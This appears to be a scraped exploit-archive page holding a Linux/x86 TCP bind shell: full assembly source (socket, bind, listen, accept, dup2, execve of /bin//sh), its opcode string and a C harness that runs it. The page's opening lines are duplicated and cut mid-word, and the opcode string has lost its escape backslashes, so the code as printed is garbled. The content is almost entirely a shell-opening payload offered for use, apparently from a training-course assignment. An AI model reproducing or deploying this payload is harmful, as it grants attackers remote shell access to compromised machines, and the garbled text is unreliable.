Vulnerabilities

#include<stdio.h>
#include<string.h>

/*

; Bind TCP Shellcode
; Copyright 2018, Luca Di Domenico
;
; This program is free software: you can r #include<stdio.h>
#include<string.h>

/*

; Bind TCP Shellcode
; Copyright 2018, Luca Di Domenico
;
; This program is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 3 of the License, or
; (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with this program. If not, see <http://www.gnu.org/licenses/>.

; Title: Linux/x86 - TCP bind shell
; Author: Luca Di Domenico
; Website: https://thehackeradventure.com
; Blog post: https://thehackeradventure.com/2018/05/17/assignement1/
; Twitter: @sudo45
; SLAE-ID: 1245

global _start

section .text
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

; socket()

push eax
mov al, 0x66
mov bl, 0x1
mov cl, 0x2
push ebx
push ecx
lea ecx, [esp]
int 0x80

; bind()

pop ecx
pop ebx
push word 0xb315
push word cx
mov ecx, esp
mov dl, 0x10
push edx
push ecx
push eax
xchg eax, edx
mov al, 0x66
mov bl, 0x2
mov ecx, esp
int 0x80

; listen()

push eax
push edx
mov al, 0x66
mov bl, 0x4
mov ecx, esp
mov edx, eax
int 0x80

; accept()

xchg eax, edx
pop edi
push edx
push edi
inc ebx
mov ecx, esp
int 0x80
xchg ebx, eax
xor ecx, ecx
mov cl, 0x2

_dup2_loop:

mov al, 0x3f
int 0x80
dec ecx
jns _dup2_loop

; execve()

xor ecx, ecx
push ecx ; 0x00
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
mov ebx, esp
mov al, 0xb
int 0x80

*/

unsigned char code[] =
"x31xc0x31xdbx31xc9x31xd2x50xb0x66xb3x01xb1x02x53x51x8dx0cx24xcdx80x59x5bx66x68x15xb3x66x51x89xe1xb2x10x52x51x50x92xb0x66xb3x02x89xe1xcdx80x50x52xb0x66xb3x04x89xe1x89xc2xcdx80x92x5fx52x57x43x89xe1xcdx80x93x31xc9xb1x02xb0x3fxcdx80x49x79xf9x31xc9x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80";

main()
{

printf("Shellcode Length: %d ", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

Share your comment publicly